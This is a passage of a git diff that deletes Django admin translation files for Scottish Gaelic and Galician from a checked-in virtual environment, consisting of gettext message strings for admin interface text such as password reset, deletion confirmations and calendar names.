leam" - -msgid "Delete multiple objects" -msgstr "Sguab às iomadh oibseact" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Nan sguabadh tu às a’ %(objects_name)s a thagh thu, rachadh oibseactan " -"dàimheach a sguabadh às cuideachd ach chan eil cead aig a’ chunntas agad gus " -"na seòrsaichean de dh’oibseact seo a sguabadh às:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Nan sguabadh tu às a’ %(objects_name)s a thagh thu, bhiodh againn ris na h-" -"oibseactan dàimheach dìonta seo a sguabadh às cuideachd:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"A bheil thu cinnteach gu bheil thu airson a’ %(objects_name)s a thagh thu a " -"sguabadh às? Thèid a h-uile oibseact seo ’s na nithean dàimheach aca a " -"sguabadh às:" - -msgid "Delete?" -msgstr "A bheil thu airson a sguabadh às?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " le %(filter_title)s " - -msgid "Summary" -msgstr "Gearr-chunntas" - -msgid "Recent actions" -msgstr "Gnìomhan o chionn goirid" - -msgid "My actions" -msgstr "Na gnìomhan agam" - -msgid "None available" -msgstr "Chan eil gin ann" - -msgid "Unknown content" -msgstr "Susbaint nach aithne dhuinn" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Chaidh rudeigin cearr le stàladh an stòir-dhàta agad. Dèan cinnteach gun " -"deach na clàran stòir-dhàta iomchaidh a chruthachadh agus gur urrainn dhan " -"chleachdaiche iomchaidh an stòr-dàta a leughadh." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Chaidh do dhearbhadh mar %(username)s ach chan eil ùghdarras agad gus an " -"duilleag seo inntrigeadh. Am bu toigh leat clàradh a-steach le cunntas eile?" - -msgid "Forgotten your password or username?" -msgstr "" -"An do dhìochuimhnich thu am facal-faire no an t-ainm-cleachdaiche agad?" - -msgid "Toggle navigation" -msgstr "Toglaich an t-seòladaireachd" - -msgid "Start typing to filter…" -msgstr "Tòisich air sgrìobhadh airson criathradh…" - -msgid "Filter navigation items" -msgstr "Criathraich nithean na seòladaireachd" - -msgid "Date/time" -msgstr "Ceann-là ’s àm" - -msgid "User" -msgstr "Cleachdaiche" - -msgid "Action" -msgstr "Gnìomh" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Chan eil eachdraidh nan atharraichean aig an oibseact seo. Dh’fhaoidte nach " -"deach a chur ris leis an làrach rianachd seo." - -msgid "Show all" -msgstr "Seall na h-uile" - -msgid "Save" -msgstr "Sàbhail" - -msgid "Popup closing…" -msgstr "Tha a’ phriob-uinneag ’ga dùnadh…" - -msgid "Search" -msgstr "Lorg" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s toradh" -msgstr[1] "%(counter)s thoradh" -msgstr[2] "%(counter)s toraidhean" -msgstr[3] "%(counter)s toradh" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s gu h-iomlan" - -msgid "Save as new" -msgstr "Sàbhail mar fhear ùr" - -msgid "Save and add another" -msgstr "Sàbhail is cuir fear eile ris" - -msgid "Save and continue editing" -msgstr "Sàbhail is deasaich a-rithist" - -msgid "Save and view" -msgstr "Sàbhail is seall" - -msgid "Close" -msgstr "Dùin" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Atharraich a’ %(model)s a thagh thu" - -#, python-format -msgid "Add another %(model)s" -msgstr "Cuir %(model)s eile ris" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Sguab às a’ %(model)s a thagh thu" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Mòran taing gun do chuir thu seachad deagh-àm air an làrach-lìn an-diugh." - -msgid "Log in again" -msgstr "Clàraich a-steach a-rithist" - -msgid "Password change" -msgstr "Atharrachadh an facail-fhaire" - -msgid "Your password was changed." -msgstr "Chaidh am facal-faire agad atharrachadh." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Cuir a-steach an seann fhacal-faire agad ri linn tèarainteachd agus cuir a-" -"steach am facal-faire ùr agad dà thuras an uairsin ach an dearbhaich sinn " -"nach do rinn thu mearachd sgrìobhaidh." - -msgid "Change my password" -msgstr "Atharraich am facal-faire agam" - -msgid "Password reset" -msgstr "Ath-shuidheachadh an fhacail-fhaire" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Chaidh am facal-faire agad a shuidheachadh. Faodaidh tu clàradh a-steach a-" -"nis." - -msgid "Password reset confirmation" -msgstr "Dearbhadh air ath-shuidheachadh an fhacail-fhaire" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Cuir a-steach am facal-faire ùr agad dà thuras ach an dearbhaich sinn nach " -"do rinn thu mearachd sgrìobhaidh." - -msgid "New password:" -msgstr "Am facal-faire ùr:" - -msgid "Confirm password:" -msgstr "Dearbhaich am facal-faire:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Bha an ceangal gus am facal-faire ath-suidheachadh mì-dhligheach; ’s dòcha " -"gun deach a chleachdadh mar-thà. Iarr ath-shuidheachadh an fhacail-fhaire às " -"ùr." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Chuir sinn stiùireadh thugad air mar a dh’ath-shuidhicheas tu am facal-faire " -"agad air a’ phost-d dhan chunntas puist-d a chuir thu a-steach. Bu chòir " -"dhut fhaighinn a dh’aithghearr." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Mura faigh thu post-d, dèan cinnteach gun do chuir thu a-steach an seòladh " -"puist-d leis an do chlàraich thu agus thoir sùil air pasgan an spama agad." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Fhuair thu am post-d seo air sgàth ’s gun do dh’iarr thu ath-shuidheachadh " -"an fhacail-fhaire agad airson a’ chunntais cleachdaiche agad air " -"%(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Tadhail air an duilleag seo is tagh facal-faire ùr:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" -"Seo an t-ainm-cleachdaiche agad air eagal ’s gun do dhìochuimhnich thu e:" - -msgid "Thanks for using our site!" -msgstr "Mòran taing airson an làrach againn a chleachdadh!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Sgioba %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Na dhìochuimhnich thu am facal-faire agad? Cuir a-steach an seòladh puist-d " -"agad gu h-ìosal agus cuiridh sinn stiùireadh thugad gus fear ùr a " -"shuidheachadh air a’ phost-d." - -msgid "Email address:" -msgstr "Seòladh puist-d:" - -msgid "Reset my password" -msgstr "Ath-shuidhich am facal-faire agam" - -msgid "All dates" -msgstr "A h-uile ceann-là" - -#, python-format -msgid "Select %s" -msgstr "Tagh %s" - -#, python-format -msgid "Select %s to change" -msgstr "Tagh %s gus atharrachadh" - -#, python-format -msgid "Select %s to view" -msgstr "Tagh %s gus a shealltainn" - -msgid "Date:" -msgstr "Ceann-là:" - -msgid "Time:" -msgstr "Àm:" - -msgid "Lookup" -msgstr "Lorg" - -msgid "Currently:" -msgstr "An-dràsta:" - -msgid "Change:" -msgstr "Atharrachadh:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 661e42e2..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.po deleted file mode 100644 index f8b6c1f7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,286 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# GunChleoc, 2015-2016 -# GunChleoc, 2015 -# GunChleoc, 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-07-15 10:43+0000\n" -"Last-Translator: GunChleoc\n" -"Language-Team: Gaelic, Scottish (http://www.transifex.com/django/django/" -"language/gd/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gd\n" -"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : " -"(n > 2 && n < 20) ? 2 : 3;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s ri am faighinn" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Seo liosta de %s a tha ri am faighinn. Gus feadhainn a thaghadh, tagh iad sa " -"bhogsa gu h-ìosal agus briog air an t-saighead “Tagh” eadar an dà bhogsa an " -"uair sin." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Sgrìobh sa bhogsa seo gus an liosta de %s ri am faighinn a chriathradh." - -msgid "Filter" -msgstr "Criathraich" - -msgid "Choose all" -msgstr "Tagh na h-uile" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Briog gus a h-uile %s a thaghadh aig an aon àm." - -msgid "Choose" -msgstr "Tagh" - -msgid "Remove" -msgstr "Thoir air falbh" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s a chaidh a thaghadh" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Seo liosta de %s a chaidh a thaghadh. Gus feadhainn a thoirt air falbh, tagh " -"iad sa bhogsa gu h-ìosal agus briog air an t-saighead “Thoir air falbh” " -"eadar an dà bhogsa an uair sin." - -msgid "Remove all" -msgstr "Thoir air falbh na h-uile" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Briog gus a h-uile %s a chaidh a thaghadh a thoirt air falbh." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Chaidh %(sel)s à %(cnt)s a thaghadh" -msgstr[1] "Chaidh %(sel)s à %(cnt)s a thaghadh" -msgstr[2] "Chaidh %(sel)s à %(cnt)s a thaghadh" -msgstr[3] "Chaidh %(sel)s à %(cnt)s a thaghadh" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tha atharraichean gun sàbhaladh agad ann an raon no dhà fa leth a ghabhas " -"deasachadh. Ma ruitheas tu gnìomh, thèid na dh’atharraich thu gun a " -"shàbhaladh air chall." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Thagh thu gnìomh ach cha do shàbhail thu na dh’atharraich thu ann an " -"raointean fa leth. Briog air “Ceart ma-thà” gus seo a shàbhaladh. Feumaidh " -"tu an gnìomh a ruith a-rithist." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Thagh thu gnìomh agus cha do rinn thu atharrachadh air ran fa leth sam bith. " -"’S dòcha gu bheil thu airson am putan “Siuthad” a chleachdadh seach am putan " -"“Sàbhail”." - -msgid "Now" -msgstr "An-dràsta" - -msgid "Midnight" -msgstr "Meadhan-oidhche" - -msgid "6 a.m." -msgstr "6m" - -msgid "Noon" -msgstr "Meadhan-latha" - -msgid "6 p.m." -msgstr "6f" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"An aire: Tha thu %s uair a thìde air thoiseach àm an fhrithealaiche." -msgstr[1] "" -"An aire: Tha thu %s uair a thìde air thoiseach àm an fhrithealaiche." -msgstr[2] "" -"An aire: Tha thu %s uairean a thìde air thoiseach àm an fhrithealaiche." -msgstr[3] "" -"An aire: Tha thu %s uair a thìde air thoiseach àm an fhrithealaiche." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"An aire: Tha thu %s uair a thìde air dheireadh àm an fhrithealaiche." -msgstr[1] "" -"An aire: Tha thu %s uair a thìde air dheireadh àm an fhrithealaiche." -msgstr[2] "" -"An aire: Tha thu %s uairean a thìde air dheireadh àm an fhrithealaiche." -msgstr[3] "" -"An aire: Tha thu %s uair a thìde air dheireadh àm an fhrithealaiche." - -msgid "Choose a Time" -msgstr "Tagh àm" - -msgid "Choose a time" -msgstr "Tagh àm" - -msgid "Cancel" -msgstr "Sguir dheth" - -msgid "Today" -msgstr "An-diugh" - -msgid "Choose a Date" -msgstr "Tagh ceann-là" - -msgid "Yesterday" -msgstr "An-dè" - -msgid "Tomorrow" -msgstr "A-màireach" - -msgid "January" -msgstr "Am Faoilleach" - -msgid "February" -msgstr "An Gearran" - -msgid "March" -msgstr "Am Màrt" - -msgid "April" -msgstr "An Giblean" - -msgid "May" -msgstr "An Cèitean" - -msgid "June" -msgstr "An t-Ògmhios" - -msgid "July" -msgstr "An t-Iuchar" - -msgid "August" -msgstr "An Lùnastal" - -msgid "September" -msgstr "An t-Sultain" - -msgid "October" -msgstr "An Dàmhair" - -msgid "November" -msgstr "An t-Samhain" - -msgid "December" -msgstr "An Dùbhlachd" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Faoi" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Gearr" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Màrt" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Gibl" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Cèit" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Ògmh" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Iuch" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Lùna" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sult" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Dàmh" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Samh" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dùbh" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Dò" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Lu" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Mà" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ci" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Da" - -msgctxt "one letter Friday" -msgid "F" -msgstr "hA" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Sa" - -msgid "Show" -msgstr "Seall" - -msgid "Hide" -msgstr "Falaich" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.mo deleted file mode 100644 index daddcd3e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.po deleted file mode 100644 index 0e4facab..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/gl/LC_MESSAGES/django.po +++ /dev/null @@ -1,795 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Denís Bermúdez Delgado , 2021 -# fasouto , 2011-2012 -# fonso , 2011,2013 -# fasouto , 2017 -# Jannis Leidel , 2011 -# Leandro Regueiro , 2013 -# 948a55bc37dd6d642f1875bb84258fff_07a28cc , 2011-2012 -# Pablo, 2015 -# X Bello , 2023-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: X Bello , 2023-2024\n" -"Language-Team: Galician (http://app.transifex.com/django/django/language/" -"gl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Borrar %(verbose_name_plural)s seleccionados." - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Borrado exitosamente %(count)d %(items)s" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Non foi posíble eliminar %(name)s" - -msgid "Are you sure?" -msgstr "¿Está seguro?" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todo" - -msgid "Yes" -msgstr "Si" - -msgid "No" -msgstr "Non" - -msgid "Unknown" -msgstr "Descoñecido" - -msgid "Any date" -msgstr "Calquera data" - -msgid "Today" -msgstr "Hoxe" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este ano" - -msgid "No date" -msgstr "Sen data" - -msgid "Has date" -msgstr "Ten data" - -msgid "Empty" -msgstr "Baleiro" - -msgid "Not empty" -msgstr "Non baleiro" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor, insira os %(username)s e contrasinal dunha conta de persoal. Teña " -"en conta que ambos os dous campos distingues maiúsculas e minúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Engadir outro %(verbose_name)s" - -msgid "Remove" -msgstr "Retirar" - -msgid "Addition" -msgstr "Engadido" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Borrado" - -msgid "action time" -msgstr "hora da acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contido" - -msgid "object id" -msgstr "id do obxecto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr do obxecto" - -msgid "action flag" -msgstr "código do tipo de acción" - -msgid "change message" -msgstr "cambiar mensaxe" - -msgid "log entry" -msgstr "entrada de rexistro" - -msgid "log entries" -msgstr "entradas de rexistro" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Engadido %(object)s" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Cambiado “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Eliminado “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Obxecto LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Engadido {name} “{object}”." - -msgid "Added." -msgstr "Engadido." - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Cambiados {fields} por {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Cambiados {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Eliminado {name} “{object}”." - -msgid "No fields changed." -msgstr "Non se modificou ningún campo." - -msgid "None" -msgstr "Ningún" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -" Para seleccionar máis dunha entrada, manteña premida a tecla “Control”, ou " -"“Comando” nun Mac." - -msgid "Select this object for an action - {}" -msgstr "Seleccione este obxeto para unha acción - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Engadiuse correctamente {name} “{obj}”." - -msgid "You may edit it again below." -msgstr "Pode editalo outra vez abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Engadiuse correctamente {name} “{obj}”. Pode engadir outro {name} abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "Modificouse correctamente {name} “{obj}”. Pode editalo de novo abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Modificouse correctamente {name} “{obj}”. Pode engadir outro {name} abaixo." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Modificouse correctamente {name} “{obj}”." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Debe seleccionar ítems para poder facer accións con eles. Ningún ítem foi " -"cambiado." - -msgid "No action selected." -msgstr "Non se elixiu ningunha acción." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Eliminouse correctamente %(name)s “%(obj)s”." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "Non existe %(name)s ca ID “%(key)s”. Ó mellor foi borrado?" - -#, python-format -msgid "Add %s" -msgstr "Engadir %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "Ver %s" - -msgid "Database error" -msgstr "Erro da base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s foi cambiado satisfactoriamente." -msgstr[1] "%(count)s %(name)s foron cambiados satisfactoriamente." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionado." -msgstr[1] "Tódolos %(total_count)s seleccionados." - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seleccionados." - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de cambios: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"O borrado de %(class_name)s %(instance)s precisaría borrar os seguintes " -"obxetos relacionados: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administración de sitio Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Administración do sitio" - -msgid "Log in" -msgstr "Iniciar sesión" - -#, python-format -msgid "%(app)s administration" -msgstr "administración de %(app)s " - -msgid "Page not found" -msgstr "Páxina non atopada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Sentímolo, pero non se atopou a páxina solicitada." - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Erro no servidor" - -msgid "Server error (500)" -msgstr "Erro no servidor (500)" - -msgid "Server Error (500)" -msgstr "Erro no servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ocorreu un erro. Os administradores do sitio foron informados por email e " -"debería ser arranxado pronto. Grazas pola súa paciencia." - -msgid "Run the selected action" -msgstr "Executar a acción seleccionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Fai clic aquí para seleccionar os obxectos en tódalas páxinas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar todos os %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Limpar selección" - -msgid "Breadcrumbs" -msgstr "Migas de pan" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos na aplicación %(name)s" - -msgid "Add" -msgstr "Engadir" - -msgid "View" -msgstr "Vista" - -msgid "You don’t have permission to view or edit anything." -msgstr "Non ten permiso para ver ou editar nada." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Primeiro insira un nome de usuario e un contrasinal. Despois poderá editar " -"máis opcións de usuario." - -msgid "Enter a username and password." -msgstr "Introduza un nome de usuario e contrasinal." - -msgid "Change password" -msgstr "Cambiar contrasinal" - -msgid "Set password" -msgstr "Configurar contrasinal" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Por favor corrixa o erro de abaixo." -msgstr[1] "Por favor corrixa o erro de abaixo." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Insira un novo contrasinal para o usuario %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Esta acción vai habilitar a autentificación basada en " -"contrasinal para este usuario." - -msgid "Disable password-based authentication" -msgstr "Deshabilitar a autentificación basada en contrasinal" - -msgid "Enable password-based authentication" -msgstr "Habilitar a autentificación basada en contrasinal" - -msgid "Skip to main content" -msgstr "Saltar ó contido principal" - -msgid "Welcome," -msgstr "Benvido," - -msgid "View site" -msgstr "Ver sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Rematar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Engadir %(name)s" - -msgid "History" -msgstr "Historial" - -msgid "View on site" -msgstr "Ver no sitio" - -msgid "Filter" -msgstr "Filtro" - -msgid "Hide counts" -msgstr "Agochar contas" - -msgid "Show counts" -msgstr "Amosar contas" - -msgid "Clear all filters" -msgstr "Borrar tódolos filtros" - -msgid "Remove from sorting" -msgstr "Eliminar da clasificación" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridade de clasificación: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Activar clasificación" - -msgid "Toggle theme (current theme: auto)" -msgstr "Escoller tema (tema actual: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Escoller tema (tema actual: claro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Escoller tema (tema actual: escuro)" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Borrar o %(object_name)s '%(escaped_object)s' resultaría na eliminación de " -"elementos relacionados, pero a súa conta non ten permiso para borrar os " -"seguintes tipos de elementos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Para borrar o obxecto %(object_name)s '%(escaped_object)s' requiriríase " -"borrar os seguintes obxectos protexidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Seguro que quere borrar o %(object_name)s \"%(escaped_object)s\"? " -"Eliminaranse os seguintes obxectos relacionados:" - -msgid "Objects" -msgstr "Obxectos" - -msgid "Yes, I’m sure" -msgstr "Sí, estou seguro" - -msgid "No, take me back" -msgstr "Non, lévame de volta" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples obxectos" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Borrar os obxectos %(objects_name)s seleccionados resultaría na eliminación " -"de obxectos relacionados, pero a súa conta non ten permiso para borrar os " -"seguintes tipos de obxecto:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Para borrar os obxectos %(objects_name)s relacionados requiriríase eliminar " -"os seguintes obxectos protexidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Está seguro de que quere borrar os obxectos %(objects_name)s seleccionados? " -"Serán eliminados todos os seguintes obxectos e elementos relacionados on " -"eles:" - -msgid "Delete?" -msgstr "¿Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Sumario" - -msgid "Recent actions" -msgstr "Accións recentes" - -msgid "My actions" -msgstr "As miñas accións" - -msgid "None available" -msgstr "Ningunha dispoñíbel" - -msgid "Added:" -msgstr "Engadido:" - -msgid "Changed:" -msgstr "Modificado:" - -msgid "Deleted:" -msgstr "Eliminado:" - -msgid "Unknown content" -msgstr "Contido descoñecido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Hai un problema coa súa instalación de base de datos. Asegúrese de que se " -"creasen as táboas axeitadas na base de datos, e de que o usuario apropiado " -"teña permisos para lela." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Está identificado como %(username)s, pero non está autorizado para acceder a " -"esta páxina. Gustaríalle identificarse con una conta diferente?" - -msgid "Forgotten your password or username?" -msgstr "¿Olvidou o usuario ou contrasinal?" - -msgid "Toggle navigation" -msgstr "Activar navegación" - -msgid "Sidebar" -msgstr "Barra lateral" - -msgid "Start typing to filter…" -msgstr "Comece a escribir para filtrar…" - -msgid "Filter navigation items" -msgstr "Filtrar ítems de navegación" - -msgid "Date/time" -msgstr "Data/hora" - -msgid "User" -msgstr 